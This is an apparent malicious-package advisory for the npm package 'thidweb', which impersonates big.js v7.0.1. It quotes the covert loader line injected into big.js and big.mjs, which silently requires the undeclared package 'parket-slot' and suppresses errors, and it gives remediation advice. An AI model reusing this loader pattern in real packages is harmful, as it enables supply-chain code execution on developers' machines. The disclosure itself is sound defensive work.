MAL-2026-6343

Dashboard / Malicious Package / MAL-2026-6343

MAL-2026-6343

Summary: Malicious code in thidweb (npm)

Details: Source: amazon-inspector (80721058923b3e5963a6ee170007b8b4131ae5093481456ca10e63f52963987d) Package is published as `thidweb` but its README, source comments, repo URL, and author metadata all identify it as big.js v7.0.1 by Mike McLaughlin (README.md line 1 `# big.js`; big.js header `big.js v7.0.1`; package.json repository url `https://github.com/MikeMcl/big.js.git`). The source is a verbatim copy of upstream big.js with a covert loader injected mid-file at big.js:605-609: `try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The same block is present in big.mjs. `parket-slot` is not declared in `package.json` dependencies; the only declared dependency is `log-taker@^0.0.9`, which upstream big.js does not require (upstream is dependency-free). Any developer who installs `thidweb` (mistaking it for big.js) and imports it executes whatever code `parket-slot` ships, with errors silently swallowed. The combination of impersonation, undeclared runtime require, error-suppressing try/catch, and an unrelated declared dependency is a multi-stage installer-side code-execution attack. Source: ghsa-malware (9c9c50e0a8d6b4f9a386ff65eaa0ecfbf7cadd4c43ba93b25e3f82ec4754048c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References: https://www.npmjs.com/package/thidweb/v/0.0.8, https://github.com/advisories/GHSA-3vx6-4gr6-qj63